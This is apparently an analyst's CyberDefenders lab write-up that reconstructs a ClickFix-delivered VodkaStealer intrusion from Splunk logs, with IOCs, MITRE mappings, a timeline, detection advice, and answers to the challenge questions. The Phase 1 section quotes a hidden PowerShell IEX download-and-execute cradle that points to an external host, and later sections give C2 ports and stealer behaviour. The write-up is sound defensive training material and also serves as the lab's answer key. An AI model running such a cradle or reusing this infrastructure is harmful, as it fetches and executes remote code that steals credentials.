Post

Incident Investigation Report: ClickFix - VodkaStealer — From Social Engineering to Full Network Compromise

Incident Investigation Report: ClickFix - VodkaStealer — From Social Engineering to Full Network Compromise

Platform: CyberDefenders Challenge: ClickFix - VodkaStealer Category: Threat Hunting Difficulty: Medium Tools: Registry Explorer, Splunk, FTK Imager Achievement: Proof of Completion

1. Executive Summary

Incident Type: Social Engineering / Information Stealer / Lateral Movement / Data Exfiltration

Malware Family: VodkaStealer

A multi-stage intrusion was detected across the corporate network after anomalous PowerShell activity was flagged on workstation PAYOPS-WS-04. Investigation of Sysmon and Windows event logs via Splunk reconstructed a full attack chain: a user was socially engineered via a ClickFix-style attack to execute a malicious PowerShell command from their browser. The command downloaded and executed the VodkaStealer payload, which established a reverse shell, harvested browser credentials via LSASS memory access, created a persistent scheduled task, staged exfiltration data in a custom directory format, and ultimately pivoted to the file server COMP-FS-01 via PsExec-style lateral movement. A secondary machine (BCHAIN-WS-11) was also compromised using the same technique.

Indicators of Compromise (IOCs)

TypeIndicatorDescription
Payload Staging URLhttp://3.122.229.6/payload.ps1PowerShell payload download URL
C2 / Exfiltration IP165.245.213.184Reverse shell and data exfiltration server
C2 Port (Reverse Shell)4444TCP port for reverse shell connections
C2 Port (Exfiltration)8443TCP port for VodkaStealer data exfiltration
Compromised Host (Primary)PAYOPS-WS-04First infected workstation
Compromised Host (Secondary)BCHAIN-WS-11Second workstation compromised via same technique
Compromised File ServerCOMP-FS-01Lateral movement target via PsExec
Compromised UserNEXTGEN\n.heshamUser who executed the ClickFix payload
Malicious ExecutableC:\Program Files\DataSync Pro\Sync.exeDropped executable masquerading as legitimate software
Lateral Movement Tool2fdb156.exe via \\10.10.11.81\ADMIN$PsExec-style remote service creation
Scheduled Task\NextGen\DataSync UpdatePersistence mechanism executing svc_update.exe
Persistence ExecutableC:\ProgramData\svc_update.exePayload executed by the scheduled task
Staging Directory Patternsysinfo_{CountryCode}_{PublicIP}_{Date}VodkaStealer data staging format
Exfiltrated Data Filessysteminfo.txt, InstalledSoftware.txtHost reconnaissance data collected for exfiltration
Targeted Browserschrome, msedge, brave, opera, vivaldi, firefoxBrowsers killed for credential harvesting

MITRE ATT&CK Mapping Overview

TacticTechniqueID
Initial AccessPhishing: ClickFix Social EngineeringT1566
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001
PersistenceScheduled Task/Job: Scheduled TaskT1053.005
Privilege EscalationScheduled Task running as NT AUTHORITY\SYSTEMT1053.005
Defense EvasionMasquerading: DataSync Pro\Sync.exeT1036.005
Credential AccessOS Credential Dumping: LSASS MemoryT1003.001
DiscoverySystem Information DiscoveryT1082
Lateral MovementRemote Services: SMB/PsExec (ADMIN$ share)T1021.002
CollectionData Staged: Local Data StagingT1074.001
ExfiltrationExfiltration Over C2 Channel (port 8443)T1041
ImpactBrowser Process Termination for DB UnlockingT1489

2. Background: The ClickFix Social Engineering Technique

ClickFix is a rapidly emerging social engineering vector that has become one of the most effective initial access techniques in 2025–2026. Unlike traditional phishing that relies on malicious attachments or links, ClickFix manipulates the user into executing a command themselves.

StageDescriptionForensic Artifact
Lure PageVictim visits a fake CAPTCHA, update prompt, or verification pageBrowser history
Clipboard InjectionPage silently copies a malicious PowerShell command to the victim’s clipboardJavaScript navigator.clipboard.writeText()
User ExecutionPage instructs the user to press Win+R and paste the commandSysmon EventCode 1 (explorer.exepowershell.exe)
Payload DownloadPowerShell downloads and executes the actual malwareSysmon EventCode 3 (Network Connection)

Why This Matters: ClickFix bypasses email security gateways entirely — there is no malicious attachment or link in an email to scan. The attack happens in the browser, and the user voluntarily executes the command, making traditional email-based defenses completely irrelevant. The only effective controls are endpoint PowerShell logging, application whitelisting, and user awareness training specifically targeting clipboard-based attacks.


3. Phase 1: Initial Access — ClickFix Payload Delivery (Questions 1–3)

Objective: Identify the compromised host, the user who triggered the infection, and the initial payload delivery mechanism.

We begin by hunting for suspicious PowerShell activity across the environment. ClickFix attacks characteristically spawn PowerShell from explorer.exe (the Windows shell) rather than from cmd.exe or Office applications, because the user pastes the command into the Run dialog (Win+R).

Splunk Query:

1
2
3
4
index=* EventCode=1 CommandLine="*powershell*"
| search CommandLine="*hidden*" OR CommandLine="*iex*" OR CommandLine="*Download*" OR CommandLine="*enc*"
| table _time, host, ParentImage, CommandLine
| sort _time

Splunk search results showing 119 process creation events matching suspicious PowerShell patterns. On PAYOPS-WS-04 at 2026-04-20 23:26:21, explorer.exe spawns PowerShell with the command: IEX(New-Object Net.WebClient).DownloadString('http://3.122.229.6/payload.ps1') — a classic cradle downloading a remote script. Later entries at 23:31:14 show reverse shell connections to 165.245.213.184 on port 4444.

The key event is immediately visible: at 2026-04-20 23:26:21, the user NEXTGEN\n.hesham on PAYOPS-WS-04 executed a PowerShell cradle directly from explorer.exe. The parent process being explorer.exe confirms this was triggered via the Run dialog — the signature of a ClickFix attack.

Narrowing our search to isolate the exact DownloadString commands on the target host:

Splunk Query:

1
2
3
index=* EventCode=1 host="PAYOPS-WS-04" CommandLine="*DownloadString*"
| table _time, User, CommandLine, ParentImage
| sort _time

Splunk results showing 2 events on PAYOPS-WS-04. Both executed by NEXTGEN\n.hesham from C:\Windows\explorer.exe at 23:26:21 and 23:53:49. The command is: powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://3.122.229.6/payload.ps1')" — confirming the ClickFix payload URL and the fact the user executed it twice.

The user executed the payload twice — at 23:26:21 and 23:53:49 — suggesting either the first attempt failed or the user was re-directed to the ClickFix page a second time. The command uses -nop (no profile), -w hidden (hidden window), and IEX (Invoke-Expression) — all classic evasion flags.

Answer Q1

What is the hostname of the first compromised workstation?

PAYOPS-WS-04

Answer Q2

What user executed the malicious command?

n.hesham

Answer Q3

What URL was used to download the initial payload?

http://3.122.229.6/payload.ps1


4. Phase 2: Execution & Persistence (Questions 4–6)

Objective: Identify the malware dropped to disk, the persistence mechanism established, and the executable it launches.

Dropped Executable Identification

After the PowerShell payload executes, we track file creation events (Sysmon EventCode 11) on the compromised host to identify what was written to disk:

Splunk Query:

1
2
3
index=* EventCode=11 host="PAYOPS-WS-04" TargetFilename="*.exe"
| table _time, Image, TargetFilename, User
| sort _time

Splunk file creation events on PAYOPS-WS-04 showing PowerShell dropping C:\Program Files\DataSync Pro\Sync.exe at 2026-04-21 00:00:38 — a malicious executable masquerading as legitimate synchronization software in the Program Files directory.

PowerShell drops Sync.exe into C:\Program Files\DataSync Pro\ — a directory name carefully chosen to look like legitimate enterprise synchronization software. Placing the file in Program Files rather than %TEMP% or AppData adds additional credibility and may bypass rules that flag executable creation in temporary directories.

Scheduled Task Persistence

To survive reboots, the malware creates a Windows Scheduled Task. We hunt for task creation events (EventCode 4698):

Splunk Query:

1
2
3
index=* EventCode=4698 host="PAYOPS-WS-04"
| table _time, TaskName, Command
| sort _time

Splunk results showing Scheduled Task creation events on PAYOPS-WS-04. The task \NextGen\DataSync Update was created repeatedly starting at 2026-04-21 00:53:06, running every few minutes.

Examining the task XML in the EventData reveals the full persistence configuration:

Splunk EventData_Xml for EventCode 4698 showing the full task definition. The TaskName is \NextGen\DataSync Update. The command executes C:\ProgramData\svc_update.exe with NT AUTHORITY\SYSTEM privileges. The CalendarTrigger is set to start 2026-04-21T09:00:00 with daily recurrence. The highlighted executable path svc_update.exe is the persistence payload.

The scheduled task \NextGen\DataSync Update:

  • Runs as NT AUTHORITY\SYSTEM — maximum privileges
  • Executes C:\ProgramData\svc_update.exe — a second binary stored in a common, non-suspicious location
  • Triggers daily with a CalendarTrigger starting at 09:00:00

Analyst Note: The task name \NextGen\DataSync Update uses the company’s own name (NextGen) as a namespace — a clever social engineering trick against SOC analysts reviewing scheduled tasks. Always verify scheduled tasks against a known-good baseline, and alert on any task running executables from C:\ProgramData\ as SYSTEM.

Answer Q4

What executable was dropped to disk to masquerade as legitimate software?

C:\Program Files\DataSync Pro\Sync.exe

Answer Q5

What is the name of the scheduled task created for persistence?

\NextGen\DataSync Update

Answer Q6

What executable does the scheduled task launch?

svc_update.exe


5. Phase 3: Credential Access & Data Collection (Questions 7–9)

Objective: Identify the credential harvesting technique, targeted browsers, and data staging methodology.

LSASS Memory Access — Credential Dumping

A critical indicator of post-exploitation is access to the LSASS (Local Security Authority Subsystem Service) process. Sysmon EventCode 10 (Process Access) logs reveal which processes attempted to read LSASS memory:

Splunk Query:

1
2
3
index=* EventCode=10 host="PAYOPS-WS-04" TargetImage="*lsass.exe"
| table _time, SourceImage, TargetImage, GrantedAccess
| sort _time

Splunk ProcessAccess events showing rundll32.exe accessing lsass.exe with GrantedAccess 0x1010 (multiple entries) and one critical event with GrantedAccess 0x1fffff — PROCESS_ALL_ACCESS, the maximum access right indicating a full credential dump. The 0x1fffff access at 00:16:52 stands out as the most suspicious event.

The critical finding: rundll32.exe accesses lsass.exe with GrantedAccess = 0x1fffff — this is PROCESS_ALL_ACCESS, the highest privilege level and a classic indicator of credential dumping tools like Mimikatz. The repeated 0x1010 accesses (PROCESS_QUERY_LIMITED_INFORMATION + PROCESS_VM_READ) preceding the full dump suggest the attacker was staging their access before performing the full extraction.

VodkaStealer Browser Kill & Data Collection

PowerShell Script Block Logging (EventCode 4104) captures the full VodkaStealer source code, revealing its operational phases:

Splunk ScriptBlockText showing VodkaStealer Phase B (Browser Kill): the function Invoke-BrowserKill targets an array of browsers including chrome, msedge, brave, opera, vivaldi, browser, and firefox using taskkill to force-close them. Phase C (Staging Directory) creates a custom directory named using the format sysinfo_{CountryCode}_{PublicIP}_{Date}.

Splunk ScriptBlockText showing VodkaStealer's staging directory function creating directories named sysinfo_{CountryCode}_{PublicIP}_{Day:D2}_{Month:D2}_{Year}{Hour:D4}{Minute:D2} using the victim's public IP and country code for unique identification. Phase D Data Collection function begins below.

VodkaStealer’s operational phases:

  • Phase A: Pre-flight checks (geolocation, mutex)
  • Phase B: Browser kill — terminates chrome, msedge, brave, opera, vivaldi, and firefox to unlock browser SQLite databases for credential extraction
  • Phase C: Staging directory creation using the format sysinfo_{CountryCode}_{PublicIP}_{DateTime}
  • Phase D: Data collection — systeminfo.txt, InstalledSoftware.txt, browser credentials

The staging directory naming convention is forensically significant: it embeds the victim’s country code and public IP directly into the folder name, allowing the attacker to automatically organize exfiltrated data from multiple victims.

Exfiltrated Data Files

Tracking file creation for the staging directory pattern confirms what data was collected:

Splunk Query:

1
2
3
index=* EventCode=11 host="PAYOPS-WS-04" TargetFilename="*sysinfo_US_10.0.0.1*"
| table _time, TargetFilename
| sort _time

Splunk file creation events showing 8 files created in C:\Windows\Temp\sysinfo_US_10.0.0.1_210420260133 and a second directory at _210420260137. Each directory contains systeminfo.txt, InstalledSoftware.txt, and a .zip archive of the same name — confirming data staging, compression, and exfiltration preparation.

Answer Q7

What credential dumping technique was used, and what was the GrantedAccess value?

0x1fffff

Answer Q8

What browsers does VodkaStealer target for credential harvesting?

chrome, msedge, brave, opera, vivaldi, firefox

Answer Q9

What is the staging directory naming pattern used by VodkaStealer?

sysinfo_{CountryCode}_{PublicIP}_{Date}


6. Phase 4: C2 Communication & Lateral Movement (Questions 10–12)

Objective: Identify the C2 infrastructure, exfiltration channels, and lateral movement to additional hosts.

Reverse Shell & Exfiltration Infrastructure

Network connection events (Sysmon EventCode 3) reveal the attacker’s C2 infrastructure:

Splunk Query:

1
2
3
index=* EventCode=3 DestinationIp="165.245.213.184"
| table _time, host, DestinationIp, DestinationPort
| sort _time

Splunk network connection events showing 6 connections to 165.245.213.184 on port 4444. PAYOPS-WS-04 connects at 23:31:19, 23:55:58, and 00:18:42, then data exfiltration connections at 01:33:49 and 01:37:36. BCHAIN-WS-11 also connects at 01:51:27 — confirming a second compromised host.

The C2 server at 165.245.213.184 receives connections on port 4444 (reverse shell) from both PAYOPS-WS-04 and BCHAIN-WS-11 — confirming the attack spread to a second workstation.

The VodkaStealer source code (captured via Script Block Logging) reveals a separate exfiltration channel:

Splunk ScriptBlockText showing VodkaStealer's parameter block with ExfilIP set to 165.245.213.184 (highlighted) and ExfilPort set to 8443. The script banner reads "VodkaStealer Emulator - Lab 242". The function Invoke-PreFlightChecks runs geolocation and mutex checks before proceeding.

The exfiltration uses port 8443 — a different port from the reverse shell (4444), separating C2 control traffic from data theft traffic.

Lateral Movement via PsExec to File Server

The attacker pivoted from PAYOPS-WS-04 to the file server COMP-FS-01 using PsExec-style lateral movement. Service creation events (EventCode 7045/4697) on the file server reveal the execution:

Splunk Query:

1
2
3
index=* host="COMP-FS-01" (EventCode=7045 OR EventCode=4697)
| table _time, ServiceName, ImagePath
| sort _time

Splunk service creation events on COMP-FS-01 showing a new service named 2fdb156 created at 2026-04-21 00:30:45 with ImagePath \10.10.11.81\ADMIN$\2fdb156.exe — the classic PsExec lateral movement pattern using the ADMIN$ administrative share from the attacker's pivot point at 10.10.11.81.

The service name 2fdb156 with the ImagePath pointing to \\10.10.11.81\ADMIN$\2fdb156.exe is the textbook PsExec pattern: an executable is copied to the target’s ADMIN$ share and then registered as a temporary Windows service for remote execution.

Tracking the execution on the file server confirms the full lateral movement chain:

Splunk events on COMP-FS-01 showing 57 events related to 2fdb156.exe. EventCode 11 shows C:\Windows\2fdb156.exe dropped to disk by System. EventCode 7 shows the image loaded from \10.10.11.81\ADMIN$\2fdb156.exe. EventCode 1 shows rundll32.exe spawned. EventCode 13 shows registry modifications. EventCode 17/18 show named pipe communication — all confirming successful PsExec-style remote execution.

Analyst Note: PsExec-style lateral movement leaves distinct forensic artifacts: a new service with a random name, an executable in C:\Windows\ or via ADMIN$, and named pipe communication. Create detection rules for EventCode 7045 where ServiceName is a short random string and ImagePath contains ADMIN$ — this is almost never legitimate.

Answer Q10

What is the attacker’s C2 IP address and reverse shell port?

165.245.213.184:4444

Answer Q11

What is the hostname of the second compromised workstation?

BCHAIN-WS-11

Answer Q12

What executable was used for lateral movement to the file server, and from which source IP?

2fdb156.exe from 10.10.11.81


7. Reconstructed Incident Timeline

Based on Sysmon and Windows event log analysis in Splunk, we can reconstruct the complete attack chain:

DateTimeKill Chain PhaseActionEvidence Source
2026-04-2023:26:21Initial Accessn.hesham executes ClickFix PowerShell payload from explorer.exe on PAYOPS-WS-04Sysmon EventCode 1
2026-04-2023:26:21Executionpayload.ps1 downloaded from http://3.122.229.6/payload.ps1Sysmon EventCode 3
2026-04-2023:31:19C2First reverse shell connection to 165.245.213.184:4444Sysmon EventCode 3
2026-04-2100:00:38InstallationC:\Program Files\DataSync Pro\Sync.exe dropped to diskSysmon EventCode 11
2026-04-2100:16:52Credential Accessrundll32.exe accesses LSASS with 0x1fffff (PROCESS_ALL_ACCESS)Sysmon EventCode 10
2026-04-2100:30:45Lateral MovementPsExec-style 2fdb156.exe service created on COMP-FS-01 via ADMIN$EventCode 7045
2026-04-2100:53:06PersistenceScheduled Task \NextGen\DataSync Update created executing svc_update.exe as SYSTEMEventCode 4698
2026-04-2101:33:44CollectionVodkaStealer collects systeminfo.txt, InstalledSoftware.txt, browser dataSysmon EventCode 11
2026-04-2101:33:49ExfiltrationData exfiltrated to 165.245.213.184:8443Sysmon EventCode 3
2026-04-2101:51:27Lateral MovementBCHAIN-WS-11 connects to C2 — second host compromisedSysmon EventCode 3

Key Observation: The attack progressed from initial access to credential dumping in under 51 minutes, and to lateral movement in under 65 minutes. The attacker’s use of two separate C2 channels — port 4444 for shell access and port 8443 for data exfiltration — demonstrates operational discipline. The VodkaStealer payload’s automatic country code and public IP tagging in staging directories indicates this is a scalable campaign targeting multiple organizations simultaneously.


8. Conclusion

The ClickFix - VodkaStealer investigation reconstructs a sophisticated, multi-phase intrusion from social engineering to full network compromise. Key findings:

  1. Initial Access: ClickFix social engineering tricked n.hesham into executing a PowerShell cradle from explorer.exe, downloading payload.ps1 from 3.122.229.6.
  2. Persistence: A scheduled task (\NextGen\DataSync Update) was created to execute svc_update.exe as SYSTEM on a daily schedule.
  3. Credential Theft: LSASS memory was accessed with PROCESS_ALL_ACCESS (0x1fffff) via rundll32.exe for credential extraction.
  4. Data Exfiltration: VodkaStealer staged system info, installed software, and browser credentials in uniquely named directories, then exfiltrated via port 8443.
  5. Lateral Movement: PsExec-style execution via ADMIN$ share compromised the file server COMP-FS-01, and a second workstation (BCHAIN-WS-11) was also infected.
  6. Scope: At least 3 systems confirmed compromised across the environment.

Key Takeaways for the SOC:

  1. Block ClickFix at the endpoint — Deploy application control policies that prevent powershell.exe from being spawned by explorer.exe with -hidden and IEX flags. This parent-child process relationship is almost never legitimate.
  2. Alert on LSASS access with 0x1fffff — Any process accessing lsass.exe with PROCESS_ALL_ACCESS is a critical indicator of credential dumping. This should trigger an immediate P1 alert in any SIEM.
  3. Monitor for PsExec artifacts — EventCode 7045 (Service Installation) with randomized service names and ADMIN$ image paths should be flagged as lateral movement indicators.
  4. Hunt for VodkaStealer staging patterns — Search for file creation events matching sysinfo_* in %TEMP% or C:\Windows\Temp\ directories across all endpoints.

Analysis Date: June 21, 2026 Analyst: El OMARI Zakaria

This post is licensed under CC BY 4.0 by the author.